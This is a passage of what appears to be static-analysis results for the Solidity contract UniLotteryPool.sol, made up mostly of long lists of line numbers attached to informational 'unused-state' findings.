2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 2375, 2376, 2377, 2378, 2379, 2380, 2381, 2382, 2383, 2384, 2385, 2386, 2387, 2388, 2389, 2390, 2391, 2392, 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410, 2411, 2412, 2413, 2414, 2415, 2416, 2417, 2418, 2419, 2420, 2421, 2422, 2423, 2424, 2425, 2426, 2427, 2428, 2429, 2430, 2431, 2432, 2433, 2434, 2435, 2436, 2437, 2438, 2439, 2440, 2441, 2442, 2443, 2444, 2445, 2446, 2447, 2448, 2449, 2450, 2451, 2452, 2453, 2454, 2455, 2456, 2457, 2458, 2459, 2460, 2461, 2462, 2463, 2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, 2480, 2481, 2482, 2483, 2484, 2485, 2486, 2487, 2488, 2489, 2490, 2491, 2492, 2493, 2494, 2495, 2496, 2497, 2498, 2499, 2500, 2501, 2502, 2503, 2504, 2505, 2506, 2507, 2508, 2509, 2510, 2511, 2512, 2513, 2514, 2515, 2516, 2517, 2518, 2519, 2520, 2521, 2522, 2523, 2524, 2525, 2526, 2527, 2528, 2529, 2530, 2531, 2532, 2533, 2534, 2535, 2536, 2537, 2538, 2539, 2540, 2541, 2542, 2543, 2544, 2545, 2546, 2547, 2548, 2549, 2550, 2551, 2552, 2553, 2554, 2555, 2556, 2557, 2558, 2559, 2560, 2561, 2562, 2563, 2564, 2565, 2566, 2567, 2568, 2569, 2570, 2571, 2572, 2573, 2574, 2575, 2576, 2577, 2578, 2579, 2580, 2581, 2582, 2583, 2584, 2585, 2586, 2587, 2588, 2589, 2590, 2591, 2592, 2593, 2594, 2595, 2596, 2597, 2598, 2599, 2600, 2601, 2602, 2603, 2604, 2605, 2606, 2607, 2608, 2609, 2610, 2611, 2612, 2613, 2614, 2615, 2616, 2617, 2618, 2619, 2620, 2621, 2622, 2623, 2624, 2625, 2626, 2627, 2628, 2629, 2630, 2631, 2632, 2633, 2634, 2635, 2636, 2637, 2638, 2639, 2640, 2641, 2642, 2643, 2644, 2645, 2646, 2647, 2648, 2649, 2650, 2651, 2652, 2653, 2654, 2655, 2656, 2657, 2658, 2659, 2660, 2661, 2662, 2663, 2664, 2665, 2666, 2667, 2668, 2669, 2670, 2671, 2672, 2673, 2674, 2675, 2676, 2677, 2678, 2679, 2680, 2681, 2682, 2683, 2684, 2685, 2686, 2687, 2688, 2689, 2690, 2691, 2692, 2693, 2694, 2695, 2696, 2697, 2698, 2699, 2700, 2701, 2702, 2703, 2704, 2705, 2706, 2707, 2708, 2709, 2710, 2711, 2712, 2713, 2714, 2715, 2716, 2717, 2718, 2719, 2720, 2721, 2722, 2723, 2724, 2725, 2726, 2727, 2728, 2729, 2730, 2731, 2732, 2733, 2734, 2735, 2736, 2737, 2738, 2739, 2740, 2741, 2742, 2743, 2744, 2745, 2746, 2747, 2748, 2749, 2750, 2751, 2752, 2753, 2754, 2755, 2756, 2757, 2758, 2759, 2760, 2761, 2762, 2763, 2764, 2765, 2766, 2767, 2768, 2769, 2770, 2771, 2772, 2773, 2774, 2775, 2776, 2777, 2778, 2779, 2780, 2781, 2782, 2783, 2784, 2785, 2786, 2787, 2788, 2789, 2790, 2791, 2792, 2793, 2794, 2795, 2796, 2797, 2798, 2799, 2800, 2801, 2802, 2803, 2804, 2805, 2806, 2807, 2808, 2809, 2810, 2811, 2812, 2813, 2814, 2815, 2816, 2817, 2818, 2819, 2820, 2821, 2822, 2823, 2824, 2825, 2826, 2827, 2828, 2829, 2830, 2831, 2832, 2833, 2834, 2835, 2836, 2837, 2838, 2839, 2840, 2841, 2842, 2843, 2844, 2845, 2846, 2847, 2848, 2849, 2850, 2851, 2852, 2853, 2854, 2855, 2856, 2857, 2858, 2859, 2860, 2861, 2862, 2863, 2864, 2865, 2866, 2867, 2868, 2869, 2870, 2871, 2872, 2873, 2874, 2875, 2876, 2877, 2878, 2879, 2880, 2881, 2882, 2883, 2884, 2885, 2886, 2887, 2888, 2889, 2890, 2891, 2892, 2893, 2894, 2895, 2896, 2897, 2898, 2899, 2900, 2901, 2902, 2903, 2904, 2905, 2906, 2907, 2908, 2909, 2910, 2911, 2912, 2913, 2914, 2915, 2916, 2917, 2918, 2919, 2920, 2921, 2922, 2923, 2924, 2925, 2926, 2927, 2928, 2929, 2930, 2931, 2932, 2933, 2934, 2935, 2936, 2937, 2938, 2939, 2940, 2941, 2942, 2943, 2944, 2945, 2946, 2947, 2948, 2949, 2950, 2951, 2952, 2953, 2954, 2955, 2956, 2957, 2958, 2959, 2960, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972, 2973, 2974, 2975, 2976, 2977, 2978, 2979, 2980, 2981, 2982, 2983, 2984, 2985, 2986, 2987, 2988, 2989, 2990, 2991, 2992, 2993, 2994, 2995, 2996, 2997, 2998, 2999, 3000, 3001, 3002]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 